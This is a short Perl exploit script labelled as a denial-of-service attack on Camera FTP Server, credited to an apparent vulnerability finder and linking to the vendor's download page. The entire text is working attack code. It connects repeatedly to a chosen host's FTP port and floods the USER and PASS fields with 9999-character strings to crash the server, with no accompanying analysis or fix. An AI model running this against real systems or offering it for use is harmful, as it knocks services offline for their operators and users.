Camera FTP Server DOS

#!perl
#Vulnerability found by Bl0od3r
#visit http://tech-bl0od3r.blogspot.com/ to see much more.
#http://www.gymn.com/photography/cameraftpserver/
#download:http://www.gymn.com/photography/cameraftpserver/cameraftpserver.zip
use IO::Socket;
$buff=("A" x 9999);
$host=$ARGV[0];
if (@ARGV<1) {
print("Usage file.pl host.com\n");
exit;
}
while () {
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "21") || &error();
syswrite STDOUT,"+";
print $sock "USER ".$buff."\n";
print $sock "PASS ".$buff."\n";
syswrite STDOUT,"+";
}
sub error() {
die("\nError during connecting.Done?!\n");
}